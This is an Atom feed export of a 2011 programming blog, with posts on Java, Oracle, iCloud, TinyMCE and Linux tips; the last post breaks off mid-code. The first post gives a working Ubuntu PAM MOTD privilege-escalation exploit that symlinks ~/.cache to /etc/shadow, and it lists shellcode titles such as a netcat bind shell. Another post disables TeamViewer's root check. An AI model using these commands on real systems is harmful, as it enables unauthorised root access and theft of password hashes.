<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5435275999753254489</id><updated>2011-12-29T07:12:28.429-08:00</updated><category term='alfresco webdav'/><category term='Running Teamviewer 6 as root on linux'/><category term='how to use multiple onload functions'/><category term='applets examples'/><category term='email issue'/><category term='Cool jQuery Progress Indicator'/><category term='change linux password'/><category term='update and merge'/><category term='working sets for eclipse myeclipse'/><category term='Android-Notifier-Desktop'/><category term='FROM YOUR LAPTOP'/><category term='hibernate mapping cheat sheet'/><category term='merry christmas'/><category term='Backporting Struts 2 to JDK1.4 or JDK 1.3'/><category term='Framework for cloud computing using java'/><category term='apple icoud'/><category term='Modularization of the web.xml settings'/><category term='Google Street View availability validation; Google Maps API used to map multiple locations.'/><category term='java oracle'/><category term='Ebooks for SCJP 1.6'/><category term='difference. between. update() and merge() in hibernate'/><category term='software development'/><category term='But Only If You Buy Support'/><category term='myeclipse 7.1'/><category term='alfresco sso oracle'/><category term='javap'/><category term='forward action'/><category term='session facade'/><category term='struts jdk 1.4'/><category term='progress indicator'/><category term='URL rewriting'/><category term='Apache'/><category term='java issue'/><category term='swing window center'/><category term='ie6 problem in ajax'/><category term='apache poi'/><category term='locale action'/><category term='jxl api'/><category term='brilliant web app for capturing screenshots'/><category term='struts actions'/><category term='multiple onload function'/><category term='auto complete'/><category term='jsf'/><category term='java ide'/><category term='java'/><category term='callable statement bind variable error'/><category term='webdav'/><category term='usb scanning using java'/><category term='Open Source Caching Solutions for Java'/><category term='distance calculation using zip code'/><category term='JDiskReport'/><category term='ebook building software'/><category term='sql ibatis'/><category term='Java Gets New Garbage Collector'/><category term='java hangs'/><category term='SCEA Exam officialy renamed to Oracle Certified Master'/><category term='cameyo for windows'/><category term='root'/><category term='less css'/><category term='icoud email issue'/><category term='XHSSF'/><category term='portalble applications'/><category term='hibernate vs ibatis'/><category term='jxl'/><category term='oracle bind variable error'/><category term='javac'/><category term='CSS Compression Online Tool'/><category term='oracle sso'/><category term='camera using java'/><category term='teamviewer'/><category term='Difference of JAVA 1.6 and JAVA 1.5'/><category term='framework'/><category term='Getting square block characters when carriage return used in Office 2003'/><category term='j2ee'/><category term='Autofit textarea with dynamic text on load'/><category term='google android notifier'/><category term='Message: Not Implemented'/><category term='softare development tips'/><category term='comment'/><category term='oracle sso alfresco'/><category term='java sql injection'/><category term='autofit ipad website potrait'/><category term='jquery autocomplete'/><category term='jexcel'/><category term='jquery progress indicator'/><category term='sso in webdav'/><category term='multiple onload'/><category term='Java EE 5 Enterprise Architect'/><category term='tooltips'/><category term='tomcat'/><category term='response time'/><category term='working set for eclipse'/><category term='Ubuntu root access'/><category term='android phone notifier'/><category term='java class for timezone'/><category term='java.io'/><category term='Problems with Apache 2.2'/><category term='gettin real ebook'/><category term='working set in eclipse'/><category term='Get Started Developing for Android with Eclipse'/><category term='java framework'/><category term='services'/><category term='streetview'/><category term='Redirecting permanently in HttpServlet from your old domain (website) to new domain'/><category term='change root password'/><category term='ORA-01006: bind variable does not exist'/><category term='comments'/><category term='update'/><category term='protect from sql injection'/><category term='linux teamviewer'/><category term='How to deploy WAR JAR EAR in an external folder (directory) in Jboss'/><category term='time zone'/><category term='shell script'/><category term='change linux root password'/><category term='text area autofix'/><category term='write less css'/><category term='JSF code snippet: integrating JSF pages into a plain old JSP'/><category term='Sql Server'/><category term='java ide eclipse working sets'/><category term='manifest'/><category term='file copyingusing java'/><category term='jdk 1.5'/><category term='apple icloud'/><category term='autocomplete'/><category term='oracle java'/><category term='working set'/><category term='netbeans'/><category term='eclipse android'/><category term='escapeXML error'/><category term='jquery'/><category term='icloud'/><category term='jquery plugins'/><category term='usb drive in java'/><category term='Message: Not Implemented (Annoying Javascript Error)'/><category term='Generating xlsx excel 2007 files using jdk 1.4'/><category term='css compression'/><category term='The Divine Algorithm'/><category term='freeware cameyo'/><category term='sql in ibatis'/><category term='centering window swing'/><category term='exception'/><category term='jdebug'/><category term='myeclipse 8.0 installation issues'/><category term='Ubuntu'/><category term='caching'/><category term='clearing trash'/><category term='auto expand text area'/><category term='android using java'/><category term='javascript autocomplete'/><category term='jdk 1.4'/><category term='ipad site rendering'/><category term='root access'/><category term='Google Maps API used to map multiple locations.'/><category term='habits of a great software developer'/><category term='update and merge in hibernate'/><category term='block characters'/><category term='system tray'/><category term='mysql sql injection'/><category term='gridview'/><category term='what is &apos;is a&apos; and &apos;has a&apos; relationship:'/><category term='autogrow text area'/><category term='subscribe'/><category term='struts 2 backporting'/><category term='What will happen to Java'/><category term='Redirect all 404&apos;s to index page in php'/><category term='XAMPP'/><category term='jar'/><category term='jxl api issue'/><category term='rewrite url in java'/><category term='office automation'/><category term='The 3 virtues of a great programmer'/><category term='Installing Alfresco on windows 7'/><category term='css'/><category term='swing awt window center'/><category term='java.sql.SQLException: Data size bigger than max size for this type'/><category term='ejb'/><category term='VERY DYNAMIC SOFTWARE'/><category term='toad'/><category term='less code css'/><category term='Play Framework'/><category term='working sets for myeclipse'/><category term='quality coding'/><category term='servlet'/><category term='.net'/><category term='java comments'/><category term='eclipse'/><category term='java bug'/><category term='css less code'/><category term='decompiling'/><category term='JQuery plugin'/><category term='hibernate profiler'/><category term='struts 2 jdk 1.4'/><category term='Generating Serial Numbers from Database'/><category term='TinyMCE Text Area'/><category term='How to Solve Apple iCloud Verification Email Problem'/><category term='10 Commandments for Java Developers'/><category term='Blocking developers from using TOAD and other tools on production databases'/><category term='java garbage'/><category term='mysql'/><category term='android desktop notifier'/><category term='comments in java'/><category term='jdk'/><category term='java usb'/><category term='Clearing form data using jquery'/><category term='Jquery Autocomplete with DataSource'/><category term='teamviewer 6'/><category term='secure jar'/><category term='oracle'/><category term='google labs'/><category term='jphoto'/><category term='Java satellite tracker'/><category term='Cameyo'/><category term='struts'/><category term='software'/><category term='print stack trace in java'/><category term='netbeans ide'/><category term='ForwardAction'/><category term='ssl'/><category term='working sets'/><category term='decompile'/><category term='create Secure Jars'/><category term='How to redirect to an external link with Spring Webflow'/><category term='landscape autofit ipad'/><category term='IncludeAction and LocaleAction in struts'/><category term='hibernate vs jdbc response time'/><category term='screen shot capturing web application'/><category term='ide'/><category term='Oracle SSO configuration with Alfresco'/><category term='teamviewer linux'/><category term='login form'/><category term='jdbc'/><category term='best jquery plugins'/><category term='asp .net'/><category term='ipad'/><category term='include action'/><category term='standard.jar errors'/><category term='View SQL generated in IBATIS'/><category term='java excel'/><category term='“Internet Explorer Cannot Download” Error Message When You Use HTTPS URL'/><category term='window center swing'/><category term='sql injection'/><category term='java code comments'/><category term='in Oracle&apos;s hands'/><category term='Ibatis Vs Hibernate'/><category term='excellent applets'/><category term='Load Data while Scrolling Page Down with jQuery and PHP'/><category term='myeclipse'/><category term='working set in myeclipse'/><category term='alfresco webdav sso'/><category term='Message: Annoying Javascript Error'/><category term='protect sql injection'/><category term='merge'/><category term='linux'/><category term='ibatis'/><category term='Problem running Apache 2.2 with XAMPP'/><category term='hibernate'/><category term='jar files that cannot be decompiled'/><category term='scrolling data'/><category term='css tool'/><category term='sso'/><category term='php'/><category term='Centering a swing window on screen'/><category term='load data scrolling'/><category term='ajax'/><category term='jsp'/><category term='windows portable applications'/><category term='porting java'/><category term='jbaloon'/><category term='Change forgotten password of the root user at the Linux server'/><category term='jusb'/><category term='OC4J standard.jar'/><category term='java apps as services'/><category term='System:-It is the final class and its constructor is'/><category term='Simple Java tricks to protect your web application against SQL injection'/><category term='trash'/><category term='10 Best JQuery Plugin for web design and development'/><category term='onload funcions'/><category term='java android'/><category term='projectlombok'/><category term='Some Ways To JBoss Performance Tuning'/><category term='rebroadcast WIFI as your own network'/><category term='Fix your Flex HTTP Error / Stream Error with IE6 / IE7 on HTTPS'/><category term='block developers from toad'/><category term='Block characters in excel sheet using jxl api java'/><category term='awt centering window'/><category term='debug tools'/><category term='text area'/><category term='java file copying'/><title type='text'>Ujjwal's Blog</title><subtitle type='html'>Programming Blog</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default?start-index=101&amp;max-results=100'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>147</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6497303407302252682</id><published>2011-12-29T07:12:00.000-08:00</published><updated>2011-12-29T07:12:28.440-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu root access'/><category scheme='http://www.blogger.com/atom/ns#' term='root access'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Ubuntu root access</title><content type='html'>The PAM_MOTD exploit for Ubuntu is still not patched…&lt;br /&gt;&lt;br /&gt;rm -rf ~/.cache;&lt;br /&gt;ln -s /etc/shadow ~/.cache;&lt;br /&gt;ssh localhost (trigger pam_motd by re-logging in and you’ll own /etc/shadow)&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;In a recent thread is was suggested that Linux was as vulnerable as Windows is and as proof a list of exploits were given that were published on almost the same day as the discussion.    Here is the list that was given:&lt;br /&gt;Quote&lt;br /&gt;&lt;br /&gt;2011-07-08   Ubuntu PAM MOTD File Tampering (Privilege Escalation)&lt;br /&gt;2011-07-05   linux/x86 polymorphic Drop suid shell root /tmp/.hiddenshell 161 bytes&lt;br /&gt;2011-07-05   linux/x86 bind sh@64533 97 bytes&lt;br /&gt;2011-07-05   linux/x86 lynx polymorphic shellcode 84 bytes&lt;br /&gt;2011-07-05   linux/x86 setreuid(0,0) execve(“/bin/sh”,NULL,NULL) encoded 62 bytes&lt;br /&gt;2011-07-05   linux/x86 /proc/sys/kernel/randomize_va_space SUB encoded 111 bytes&lt;br /&gt;2011-07-05   linux/x86 bind port to 6678 XOR encoded polymorphic shellcode 125 bytes&lt;br /&gt;2011-07-05   linux/x86 nc -lp 31337 -e /bin/sh polymorphic shellcode 91 bytes&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6497303407302252682?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6497303407302252682/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6497303407302252682' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6497303407302252682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6497303407302252682'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/12/ubuntu-root-access.html' title='Ubuntu root access'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-9155438614310076261</id><published>2011-12-29T07:08:00.000-08:00</published><updated>2011-12-29T07:08:08.670-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Running Teamviewer 6 as root on linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Change forgotten password of the root user at the Linux server'/><category scheme='http://www.blogger.com/atom/ns#' term='teamviewer 6'/><category scheme='http://www.blogger.com/atom/ns#' term='linux teamviewer'/><category scheme='http://www.blogger.com/atom/ns#' term='teamviewer'/><category scheme='http://www.blogger.com/atom/ns#' term='teamviewer linux'/><title type='text'>Running Teamviewer 6 as root on linux</title><content type='html'>While attempting to run teamviewer 6 on BT5, as usual, I got the error:&lt;br /&gt;&lt;br /&gt;Error: TeamViewer must not be executed as root!&lt;br /&gt;&lt;br /&gt;so the solution is simple&lt;br /&gt;&lt;br /&gt;root@bt:~# cd /opt/teamviewer/teamviewer/6/bin/&lt;br /&gt;root@bt:/opt/teamviewer/teamviewer/6/bin# gedit wrapper&lt;br /&gt;&lt;br /&gt;then edit the file as&lt;br /&gt;&lt;br /&gt;and instead of “die” just replace that with “echo”. This way it would run and every time remind you of security issues as well.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;function validate_user()&lt;br /&gt;{&lt;br /&gt;local userid=$(id -u)&lt;br /&gt;&lt;br /&gt;if [ $userid = 0 ] ; then&lt;br /&gt;echo “TeamViewer must not be executed as root!”&lt;br /&gt;fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;or simply just uncomment the whole if – fi structure.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-9155438614310076261?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/9155438614310076261/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=9155438614310076261' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/9155438614310076261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/9155438614310076261'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/12/running-teamviewer-6-as-root-on-linux.html' title='Running Teamviewer 6 as root on linux'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-4449517213876377018</id><published>2011-12-27T03:22:00.001-08:00</published><updated>2011-12-27T03:22:49.264-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='The 3 virtues of a great programmer'/><title type='text'>The 3 virtues of a great programmer</title><content type='html'>1. Laziness - The quality that makes you go to great effort to reduce overall energy expenditure. It makes you write labor-saving programs that other people will find useful, and document what you wrote so you don't have to answer so many questions about it. Hence, the first great virtue of a programmer. Also hence, this book. See also impatience and hubris.&lt;br /&gt;&lt;br /&gt;2. Impatience - The anger you feel when the computer is being lazy. This makes you write programs that don't just react to your needs, but actually anticipate them. Or at least pretend to. Hence, the second great virtue of a programmer. See also laziness and hubris.&lt;br /&gt;&lt;br /&gt;3. Hubris - Excessive pride, the sort of thing Zeus zaps you for. Also the quality that makes you write (and maintain) programs that other people won't want to say bad things about. Hence, the third great virtue of a programmer. See also laziness and impatience.&lt;br /&gt;&lt;br /&gt;Source : wikipedia&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-4449517213876377018?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/4449517213876377018/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=4449517213876377018' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4449517213876377018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/4449517213876377018'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/12/3-virtues-of-great-programmer.html' title='The 3 virtues of a great programmer'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-6849662906771945402</id><published>2011-12-12T05:15:00.000-08:00</published><updated>2011-12-12T05:15:37.618-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='applets examples'/><category scheme='http://www.blogger.com/atom/ns#' term='icoud email issue'/><category scheme='http://www.blogger.com/atom/ns#' term='apple icloud'/><category scheme='http://www.blogger.com/atom/ns#' term='email issue'/><category scheme='http://www.blogger.com/atom/ns#' term='icloud'/><category scheme='http://www.blogger.com/atom/ns#' term='How to Solve Apple iCloud Verification Email Problem'/><category scheme='http://www.blogger.com/atom/ns#' term='apple icoud'/><title type='text'>How to Solve Apple iCloud Verification Email Problem</title><content type='html'>Apple recently launched its cloud storage service, iCloud.  When I tried setting up iCloud on my iPhone4, I was stuck with the verification email problem.  The set up wizard kept asking for iCloud email verification but I couldn’t find any option to send or resend iCloud verification email to my email address so that I can verify it.  On further research I found that Apple has changed the way it handles Apple ID.  Your email address and Apple ID now have to be same; this is unlike how Apple used to handle Apple ID and email address.  Till now you could create multiple Apple IDs with one email address or, in other words, a single email address could have been associated with multiple Apple IDs.  This got me to the root of the problem why I was not receiving the iCloud verification email.  If you are facing the same problem, please follow the steps below to receive iCloud verification email:&lt;br /&gt;&lt;br /&gt;1. Go to https://appleid.apple.com/&lt;br /&gt;&lt;br /&gt;2. Click on “Find out” link under “Not sure if you have an Apple ID?”&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-fdenOF9BHzo/TuX98z2VNyI/AAAAAAAAAmY/Bqt50fRqRpc/s1600/appleid.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="186" width="400" src="http://4.bp.blogspot.com/-fdenOF9BHzo/TuX98z2VNyI/AAAAAAAAAmY/Bqt50fRqRpc/s400/appleid.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;3. Fill out your first name, last name and the email address that you want to use for receiving iCloud verification email.&lt;br /&gt;&lt;br /&gt;4. On the next screen, select “Email Authentication” option and click “Next”.&lt;br /&gt;&lt;br /&gt;5. Now, go to your Email Inbox and you will find an email from Apple on how to reset the Apple ID password.  Click on the “Reset your Apple ID password” link in the email.&lt;br /&gt;&lt;br /&gt;6. You will be shown more than one Apple IDs that are associated with your email address.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-jPJJZMOfa0c/TuX-NEnoXcI/AAAAAAAAAmk/3lDJQVS2UOA/s1600/icloud-verification-email.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="191" width="400" src="http://4.bp.blogspot.com/-jPJJZMOfa0c/TuX-NEnoXcI/AAAAAAAAAmk/3lDJQVS2UOA/s400/icloud-verification-email.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;7. Now, choose the Apple ID that you would NOT like to use for receiving iCloud verification email and click “Next”.&lt;br /&gt;&lt;br /&gt;8. Reset the password for this account by providing a new password.&lt;br /&gt;&lt;br /&gt;9. Login to Apple ID by visiting https://appleid.apple.com/ and clicking “Manage your account” link.  Use the Apple ID that you would NOT like to use for receiving iCloud verification email and the password that you had just set.&lt;br /&gt;&lt;br /&gt;10. Click on “Edit” link under “Primary Email Address” section, provide a new email address.  Click “Save”.&lt;br /&gt;&lt;br /&gt;11. Click Sign Out.&lt;br /&gt;&lt;br /&gt;Once you have changed the email address for the Apple ID that you would NOT like to use for receiving iCloud verification email, it’s time to set things right in the Apple ID that you would like to use for iCloud services.  Just log in to your account https://appleid.apple.com/with Apple ID that you would like to use for receiving iCloud verification email.  You should now see the link to resend verification email under your email address.  Click on that link, confirm your email address and you will be all set to use iCloud.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-6849662906771945402?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/6849662906771945402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=6849662906771945402' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6849662906771945402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/6849662906771945402'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/12/how-to-solve-apple-icloud-verification.html' title='How to Solve Apple iCloud Verification Email Problem'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-fdenOF9BHzo/TuX98z2VNyI/AAAAAAAAAmY/Bqt50fRqRpc/s72-c/appleid.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3423426363681915495</id><published>2011-12-09T04:17:00.000-08:00</published><updated>2011-12-09T04:17:39.806-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TinyMCE Text Area'/><title type='text'>TinyMCE Text Area</title><content type='html'>Hi All,&lt;br /&gt;&lt;br /&gt;Recently i was preparing an application which was based on JSP/Struts, i had a requirement to implement custom font, color selection for each text area on the screen (the screen had multiple text-areas), i found a cool script which allows me to implement visual effects to my text areas, TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under LGPL by Moxiecode Systems.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.tinymce.com"&gt;http://www.tinymce.com&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;Its very easy and fast to implement..:)&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3423426363681915495?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3423426363681915495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3423426363681915495' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3423426363681915495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3423426363681915495'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/12/tinymce-text-area.html' title='TinyMCE Text Area'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-8366421837276772739</id><published>2011-11-10T03:21:00.000-08:00</published><updated>2011-11-10T03:21:57.210-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='secure jar'/><category scheme='http://www.blogger.com/atom/ns#' term='create Secure Jars'/><category scheme='http://www.blogger.com/atom/ns#' term='jar files that cannot be decompiled'/><category scheme='http://www.blogger.com/atom/ns#' term='How to deploy WAR JAR EAR in an external folder (directory) in Jboss'/><title type='text'>Create Secure Jars</title><content type='html'>Hi.&lt;br /&gt;&lt;br /&gt;Recently, There was a need to create JARS which cannot be decompiled as I want to secure my source code.&lt;br /&gt;&lt;br /&gt;I found obfuscated jar. bytecode obfuscator modifies the content of  source files in such a way that their behaviour is unaffected while minimizing the amount of info from the source code thats exposed. Retroguard was the well known commercial obfuscator for java. There are opensource s/w as well. &lt;br /&gt;&lt;br /&gt;See the official link and choose the one that fits your needs.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.linkedin.com/redirect?url=http%3A%2F%2Fjava-source%2Enet%2Fopen-source%2Fobfuscators&amp;urlhash=vWAH"&gt;http://www.linkedin.com/redirect?url=http%3A%2F%2Fjava-source%2Enet%2Fopen-source%2Fobfuscators&amp;urlhash=vWAH&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-8366421837276772739?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/8366421837276772739/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=8366421837276772739' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8366421837276772739'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/8366421837276772739'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/11/create-secure-jars.html' title='Create Secure Jars'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3665801798333066482</id><published>2011-11-10T03:09:00.000-08:00</published><updated>2011-11-10T03:09:28.925-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='css tool'/><category scheme='http://www.blogger.com/atom/ns#' term='CSS Compression Online Tool'/><category scheme='http://www.blogger.com/atom/ns#' term='css compression'/><category scheme='http://www.blogger.com/atom/ns#' term='css'/><title type='text'>CSS Compression Online Tool</title><content type='html'>CSS Compressor online tool to compress CSS to reduce CSS code size and make your web pages load faster. You can select from four levels of compression, depending on how legible you want the compressed CSS to be versus degree of compression. It is quick, easy and free!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.csscompressor.com/"&gt;http://www.csscompressor.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3665801798333066482?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3665801798333066482/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3665801798333066482' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3665801798333066482'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3665801798333066482'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2011/11/css-compression-online-tool.html' title='CSS Compression Online Tool'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3284072067258357694</id><published>2011-11-06T22:41:00.000-08:00</published><updated>2011-11-06T22:41:16.491-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='callable statement bind variable error'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle bind variable error'/><category scheme='http://www.blogger.com/atom/ns#' term='ORA-01006: bind variable does not exist'/><title type='text'>ORA-01006: bind variable does not exist</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Recently one of my collegue faced an error as "ORA-01006: bind variable does not exist". We could'nt rectify the reason for this error, later on, we discovered that there was a comma missing in callable statement parameter declaration.&lt;br /&gt;&lt;br /&gt;it was something like :: &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;  CallableStatement cstmt =&lt;br /&gt;             dbConnection.prepareCall(&amp;quot;{call 